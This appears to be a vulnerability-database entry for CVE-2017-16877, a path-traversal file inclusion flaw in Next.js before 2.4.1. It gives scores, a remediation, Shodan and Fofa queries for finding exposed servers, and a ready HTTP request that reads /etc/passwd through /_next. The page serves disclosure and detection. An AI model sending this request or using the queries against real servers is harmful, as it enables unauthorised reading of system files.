🔙 목록으로 돌아가기

CVE-2017-16877: Nextjs <2.4.1 - Local File Inclusion

TitleNextjs <2.4.1 - Local File Inclusion
Authorpikpikcu
SeverityHigh
ImpactSuccessful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, leading to unauthorized access and potential data leakage.
RemediationUpgrade Nextjs to version 2.4.1 or above to mitigate this vulnerability.
CVSS Score7.5
EPSS Score0.83198
CVE IDCVE-2017-16877
CWE IDCWE-22
Shodan Queryhttp.html:"/_next/static"cpe:"cpe:2.3:a:zeit:next.js"
Fofa Querybody="/_next/static"
Tags cve cve2017 nextjs lfi traversal zeit vuln

🔍 Vulnerability Description

ZEIT Next.js before 2.4.1 is susceptible to local file inclusion via the /_next and /static request namespace, allowing attackers to obtain sensitive information.

🌐 HTTP Request

GET /_next/../../../../../../../../../../etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2017/CVE-2017-16877.yaml

🦈 Packet Capture: ⬇️ Download cve-2017-16877.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A